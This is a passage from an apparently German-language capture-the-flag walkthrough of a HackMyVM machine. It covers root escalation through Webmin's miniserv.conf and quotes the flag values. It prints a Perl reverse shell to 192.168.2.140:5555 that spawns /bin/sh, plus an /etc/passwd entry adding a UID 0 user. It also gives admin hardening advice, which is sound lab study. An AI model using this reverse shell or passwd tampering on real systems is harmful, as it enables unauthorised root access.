[Keine Ausgabe]
marie@may:~$ vi /etc/webmin/miniserv.conf
[Editor wird geöffnet]
marie@may:~$ sudo -u root /usr/sbin/reboot
[System startet neu]

Analyse: Hier scheinen mehrere Aktionen vermischt oder missverständlich dokumentiert zu sein. 1. `vi miniserv.users`: Bearbeitet die Webmin-Benutzerdatei. Der Kommentar darunter zeigt einen MD5-basierten Passwort-Hash für `root`. Es ist unklar, ob dieser Hash geändert oder nur angezeigt wird. 2. `chmod +x miniserv.users`: Versucht, die Benutzerdatei ausführbar zu machen, was ungewöhnlich und wahrscheinlich unnötig ist. 3. `vi /etc/webmin/miniserv.conf`: Bearbeitet die Hauptkonfigurationsdatei. Dies ist der Schritt, bei dem der Pfad zu `failed.pl` (oder `perl.pl`) eingetragen werden müsste. 4. `sudo -u root /usr/sbin/reboot`: Startet das System neu. Die Option `-u root` ist redundant, da `sudo` standardmäßig Befehle als Root ausführt, es sei denn, anders angegeben.

Bewertung: Die Bearbeitung von `miniserv.users` und `chmod +x` ist unklar und möglicherweise nicht relevant für den Haupt-Exploit-Pfad über die Manipulation von `miniserv.conf` und das Auslösen des `failed.pl`-Skripts. Das Bearbeiten von `miniserv.conf` und der anschließende Reboot sind die entscheidenden Schritte, um den Exploit vorzubereiten.

Empfehlung (Pentester): Konzentrieren Sie sich auf die korrekte Modifikation von `miniserv.conf`, um auf Ihr Payload-Skript zu verweisen. Stellen Sie sicher, dass der Listener läuft, bevor Sie den Reboot ausführen.
Empfehlung (Admin): Siehe vorherige Empfehlungen zu Dateiberechtigungen und `sudo`-Regeln.

# Alternative Payload-Datei?
 cat perl.pl
# Inhalt von perl.pl
#!/usr/bin/perl
use Socket;$i="192.168.2.140";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CNF, ") {
        $root = $1 if (/^root=(.*)/);
        }
close(CNF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{'PERLLIB'} = "$root";
$ENV{'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";

Analyse: Zeigt den Inhalt einer Datei namens `perl.pl`. Der Inhalt ist identisch mit dem zuvor gezeigten modifizierten `failed.pl`, verwendet jedoch Port 5555 für die Reverse Shell. Es ist wahrscheinlich, dass dies das Skript ist, auf das in `/etc/webmin/miniserv.conf` verwiesen wurde.

Bewertung: Bestätigt den Payload, der für die Reverse Shell verwendet wird.

Empfehlung (Pentester): Stellen Sie sicher, dass `miniserv.conf` auf `/home/marie/perl.pl` (oder den korrekten Pfad) verweist und der Listener auf Port 5555 läuft.
Empfehlung (Admin): Keine direkte Aktion.

# Kommentar im Bericht / Alternativer Vektor
Privesc

manipulate /etc/passwd
hacker:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash

Analyse: Dieser Abschnitt beschreibt eine alternative Methode zur Privilege Escalation: Direkte Manipulation der `/etc/passwd`-Datei. Es wird ein Eintrag für einen Benutzer `hacker` gezeigt, der einen SHA512-Passwort-Hash enthält und – entscheidend – die UID und GID 0 hat (`:0:0:`). Dies würde dem Benutzer `hacker` Root-Rechte geben.

Bewertung: Dies ist ein klassischer, wenn auch oft nicht möglicher, Weg zur Root-Eskalation. Er erfordert Schreibrechte auf `/etc/passwd`. Es wird nicht gezeigt, dass dieser Weg tatsächlich beschritten wurde; der erfolgreiche Weg war anscheinend die Webmin-Manipulation.

Empfehlung (Pentester): Prüfen Sie immer die Berechtigungen von `/etc/passwd`. Wenn sie beschreibbar ist, ist dies oft der einfachste Weg zu Root. Generieren Sie einen bekannten Passwort-Hash (z.B. mit `openssl passwd -6 passwort`) und fügen Sie einen neuen Benutzer mit UID/GID 0 hinzu.
Empfehlung (Admin): Stellen Sie sicher, dass `/etc/passwd` nur für Root schreibbar ist (`chmod 644`). Verwenden Sie Integritätsmonitoring, um Änderungen zu erkennen.

# Kommentar im Bericht
Privesc erfolgreich
# Befehl nach Erhalt der Root-Shell (vermutlich über Webmin RCE)
# su root
password:
#
# whoami
root

Analyse: Der Kommentar "Privesc erfolgreich" bestätigt das Erreichen von Root-Rechten. Die nachfolgenden Befehle (`su root`, `whoami`) scheinen eher eine Bestätigung *nach* Erhalt der Root-Shell durch den Webmin-Exploit zu sein (oder könnten sich auf den alternativen `/etc/passwd`-Weg beziehen, falls dieser doch genutzt wurde). Der `su root`-Teil ist etwas verwirrend, wenn man bereits Root ist (z.B. durch die Reverse Shell). `whoami` bestätigt, dass der aktuelle Benutzer `root` ist.

Bewertung: Das Ziel der Privilege Escalation wurde erreicht. Der Angreifer hat volle Kontrolle über das System.

Empfehlung (Pentester): Suchen Sie die Root-Flag (`root.txt`).
Empfehlung (Admin): Führen Sie eine vollständige Systemprüfung durch, ändern Sie alle Passwörter, schließen Sie die identifizierten Schwachstellen (unsichere Dateiberechtigungen, sudo-Regeln, Webmin-Konfiguration).

Flags

cat user.txt
HMVmarieisrebel
cat root.txt
HMVmaymaymay